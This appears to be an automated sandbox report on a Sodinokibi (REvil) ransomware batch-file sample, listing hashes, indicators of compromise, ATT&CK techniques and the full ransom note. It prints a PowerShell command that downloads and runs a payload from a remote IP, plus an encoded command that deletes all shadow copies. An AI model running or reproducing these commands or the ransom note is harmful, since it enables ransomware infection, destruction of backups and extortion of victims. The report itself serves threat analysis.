sodinokibi | 2674c1819c1820eb2c521770cb16fa5b47068ce9fbfa8eacf33d4ce56b08e170

General

Target

315ea3e45ed9d73cb511afb5ad1e2d86.bat
Size

213B
MD5

9ffed33cd2f438b612e85a2525de7fb6
SHA1

712f155efba4999bf546e2848347b572bce27b14
SHA256

2674c1819c1820eb2c521770cb16fa5b47068ce9fbfa8eacf33d4ce56b08e170
SHA512

6378aa3c586fb010b39411f4f1f34d6bbf9266f8a86827f6128c367298d7a295acd59fc72a318df3e5dfae8bb95248b5d8aa5330052bc7064f7b949016b2fafb

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/315ea3e45ed9d73cb511afb5ad1e2d86

Extracted

Path

C:\u0s64btn42-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension u0s64btn42. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/396850071A9D3213 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/396850071A9D3213 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: NSDYrbSm2kXkBdS2pjqIwcvaRC+x4mMTVhr7NZFg31iPy/iZip0HC7BXQtG4Ta8d lTG1S1ywrvyTT8wgdyJpRwGPJzMgwm7Gi0YzSI5WF9VGN1loRhk32TaShwRaR4ju GWSDGLF8iUvu1+mn0LJOkBKS2QdFJqiKL+eMz90A91NtEq2Nb+RXRrEgzH7ZApiZ 3Xk9GjqIG/BhkjaaOeevfS1OP1C1JUYcMTvJUYZ1ZEHLJL29byZ38tEF+jlCFzC0 hAH40JHs22sOzT6eV2uh3qOdHph0t6DUyU6cPJCUjp6V6vsropVOWjWDG52qkTZH saDobbXp5eVsTuYhL3gHxB7LDRWvpGr3Vvh23sbs2uFCTqT1mH5YjKbibN/ruIFv x1VxsshdE/YUyPYAuuG6zPbdIjO6jFiQsVTTOZhUjurSy85LPM7adfAuEIaBm7XD 4mW5SMonQSsIm8W0+dwobY2pnw9mMjyn++AF9JXTD9dzd4B3HlXYtIgxRbf9cXp3 w99bu+jB/beBPLUGTuWkIi8YoFB/0DoBAOYyD94eUoUkytrwgJBbGOEq3uSYB7dM ekxPPSrgW25DI2l/miCBFL63Cm5UodSywjLCHizW5MsvD9YdGivb6fyFJt9vlByH 9UBW7iAqSXdN5K8D/ClmXvGQurOL7ZvUrFNQOdPoYAb2ENiSHpTso4LpBl0AcaB2 RsPsosXyWVY00m7QolN4aJrDEODDoxupQhI8ZMRmJ2ZOt49xsXXMwipQsZuoAB8h XxppQz2t3RYGWOUMF2/qmIO/FKwfJS+FM1EE8Xt9bS39V4Df2K/vLFwxLfdtjRoL pv43EILwjXReOVEahLI4lQUcIgRNGATyVMJEVVqdLXvDkFc+2dlt4aMTr54N5UWZ zwsak469TZZURWZGML90evydC0ChV9/VFuQfIKiaKj/9QJ06hjdj3jqEzpF3rvbW ZiNdEG/OEIVQ372LUl/wX5RoqGEVQw7mU1ylLuTgnhUOH54qW+WsqxFZKTu0m9au eiwTaBblqtQCOK0j7QtWcx5YmgKS/ZJt3VYlKyRt/Z5guaF3pXyVrWm68mp1siVB VHJtyLo2N0Z+zUMz+Tnane2vqqGl1ZLlJF7Xp8arrBLZ3cD2XlfSOHpNC04fU1pp 6ZHV1LPCtcsdl0kBF41mLaFjBclSYtRXzxUP6TYD+GeQ72KbCPa9ObzjasZ28cE5 rBEz6VW+hpXko9G1lX56sQtshKMJsllazGAvDXZYB8/lMYGpal/m8yfNu8JDW+bB uO1vMij9edF2rsaiKqJ2u5m/iUr5/zFW7FcFFraSDp6z1uRAdDk8wg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/396850071A9D3213

http://decryptor.cc/396850071A9D3213

Signatures

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3uw6ld.bmp"	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

868 powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1520 wrote to memory of 868	1520	cmd.exe	powershell.exe
PID 868 wrote to memory of 1808	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1808	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1808	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1808	868	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeBackupPrivilege	784	vssvc.exe
Token: SeRestorePrivilege	784	vssvc.exe
Token: SeAuditPrivilege	784	vssvc.exe
Token: SeTakeOwnershipPrivilege	868	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
868	powershell.exe
868	powershell.exe
868	powershell.exe
1808	powershell.exe
1808	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 868 powershell.exe
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

flow	pid	process
3	868	powershell.exe

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\ClearUnlock.snd	powershell.exe
File opened for modification	\??\c:\program files\RedoRestart.asf	powershell.exe
File opened for modification	\??\c:\program files\SkipExpand.ttc	powershell.exe
File opened for modification	\??\c:\program files\WatchSync.vb	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\u0s64btn42-readme.txt	powershell.exe
File created	\??\c:\program files\u0s64btn42-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DebugConnect.shtml	powershell.exe
File opened for modification	\??\c:\program files\UnblockExpand.dot	powershell.exe
File opened for modification	\??\c:\program files\UseWait.mpeg	powershell.exe
File opened for modification	\??\c:\program files\WatchLimit.jpeg	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\u0s64btn42-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CloseCompare.001	powershell.exe
File opened for modification	\??\c:\program files\MergePop.gif	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\u0s64btn42-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\NewMount.3gpp	powershell.exe
File opened for modification	\??\c:\program files\PushPop.MTS	powershell.exe
File opened for modification	\??\c:\program files\SyncExit.TS	powershell.exe
File opened for modification	\??\c:\program files\RegisterGet.mp4	powershell.exe
File created	\??\c:\program files (x86)\u0s64btn42-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointNew.pcx	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromCompare.aiff	powershell.exe
File opened for modification	\??\c:\program files\DenyAssert.3gp2	powershell.exe
File opened for modification	\??\c:\program files\InitializeSubmit.vstm	powershell.exe
File opened for modification	\??\c:\program files\MountCopy.docx	powershell.exe
File opened for modification	\??\c:\program files\ProtectRevoke.xla	powershell.exe
File opened for modification	\??\c:\program files\RenameSplit.gif	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\315ea3e45ed9d73cb511afb5ad1e2d86.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/315ea3e45ed9d73cb511afb5ad1e2d86');Invoke-NLIWNW;Start-Sleep -s 10000"
2⤵
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in Program Files directory
PID:868

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads